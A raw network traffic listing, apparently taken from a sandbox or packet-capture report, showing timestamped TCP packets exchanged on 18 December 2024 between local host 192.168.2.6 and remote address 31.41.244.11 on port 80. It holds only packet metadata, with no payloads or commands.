Dec 18, 2024 11:09:18.866044998 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.866063118 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.866106987 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.870203972 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.870258093 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.870280981 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.870326996 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.874777079 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.874830961 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.874852896 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.874892950 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.879353046 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.879410028 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.879602909 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.879642010 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.883759975 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.883827925 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.883872986 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.883913994 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.888426065 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.888485909 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.888535023 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.888578892 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.892113924 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.892184019 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.892216921 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.892258883 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.895675898 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.895797014 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.895859003 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.895905972 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.899398088 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.899447918 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.899456978 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.899497986 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.903037071 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.903089046 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.903100014 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.903136015 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.906606913 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.906622887 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.906686068 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.910317898 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.910377979 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.910393000 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.910428047 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.913925886 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.913971901 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.913975000 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.914009094 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.917633057 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.917685986 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.917721987 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.917759895 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.950521946 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.950556040 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.950589895 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.950608969 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.952263117 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.952318907 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.952438116 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.021387100 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.021408081 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.021526098 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.022706985 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.022754908 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.022797108 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.022834063 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.025573015 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.025621891 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.025662899 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.025701046 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.028491974 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.028542042 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.028664112 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.028704882 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.031480074 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.031527042 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.031574965 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.031615973 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.034133911 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.034183979 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.034219027 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.034256935 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.036894083 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.036916971 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.036945105 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.036966085 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.039567947 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.039623022 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.039675951 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.039716959 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.042166948 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.042220116 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.042256117 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.042294979 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.044720888 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.044775963 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.044953108 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.044995070 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.047198057 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.047251940 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.047300100 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.047344923 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.049763918 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.049814939 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.049923897 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.049966097 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.052345991 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.052400112 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.052432060 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.052470922 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.054773092 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.054801941 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.054819107 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.054841995 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.057318926 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.057365894 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.057374954 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.057399988 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.059952021 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.060003042 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.060014009 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.060049057 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.062369108 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.062417984 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.062443972 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.062648058 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.065051079 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.065093994 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.065162897 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.065206051 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.067550898 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.067601919 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.067625046 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.067663908 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.069996119 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.070049047 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.070077896 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.070116997 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.072475910 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.072489023 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.072520018 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.072540998 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.075145006 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.075190067 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.075252056 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.075293064 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.077486992 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.077534914 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.077564955 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.077605009 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.079339981 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.079384089 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.079471111 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.079511881 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.081178904 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.081223011 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.081310987 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.081351995 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.083082914 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.083095074 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.083132029 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.084930897 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.084984064 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.085019112 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.085059881 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.086833954 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.086880922 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.087044001 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.087086916 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.088716984 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.088772058 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.088792086 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.088831902 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.090483904 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.090532064 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.090660095 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.090701103 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.092631102 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.092685938 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.092685938 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.092721939 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.094733000 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.094784975 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.094827890 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.094867945 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.096532106 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.096561909 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.096585035 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.096606970 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.098113060 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.098159075 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.098161936 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.098198891 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.099781036 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.099833012 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.099847078 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.099888086 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.101583958 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.101633072 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.101679087 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.101718903 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.103563070 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.103596926 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.103610992 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.103663921 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.105299950 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.105345964 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.212465048 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.212532997 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.212572098 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.212610006 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.213192940 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.213233948 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.213262081 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.213294983 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.214771986 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.214813948 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.214956045 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.214989901 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.216442108 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.216485977 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.216496944 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.216536999 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.218027115 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.218075991 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.218096018 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.218133926 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.219485044 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.219527006 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.219563961 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.219599962 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.221041918 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.221067905 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.221081018 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.221100092 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.222573042 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.222615957 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.222673893 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.222712994 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.224071026 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.224114895 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.224190950 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.224255085 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.225614071 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.225645065 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.225657940 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.225677967 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.226999044 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.227041960 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.227047920 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.227073908 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.228368998 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.228413105 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.228473902 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.228513956 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.229899883 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.229947090 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.230176926 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.230218887 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.231292963 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.231345892 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.231376886 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.231415987 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.232677937 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.232732058 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.232760906 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.232800961 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.234208107 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.234245062 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.234251976 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.234278917 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.235584974 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.235632896 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.235801935 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.235840082 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.236991882 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.237040043 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.237162113 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.237201929 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.238434076 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.238487959 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.238523960 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.238564014 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.239847898 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.239888906 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.240017891 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.240056038 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.241224051 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.241266012 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.241345882 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.241386890 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.242675066 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.242724895 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.242897987 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.242938042 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.244112015 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.244154930 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.244215965 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.244255066 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.245533943 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.245578051 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.245646000 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.245685101 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.247008085 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.247054100 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.247107983 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.247145891 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.248419046 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.248465061 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.248527050 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.248568058 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.249865055 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.249912024 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.249954939 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.249993086 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.251360893 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.251420021 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.251457930 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.251501083 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.252684116 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.252737045 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.252861977 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.252904892 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.254339933 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.254393101 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.254549980 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.254590988 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.255559921 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.255600929 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.255686998 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.255736113 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.256994009 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.257049084 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.257127047 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.257172108 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.258424044 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:19.258522987 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:19.258529902 CET	80	49894	31.41.244.11	192.168.2.6
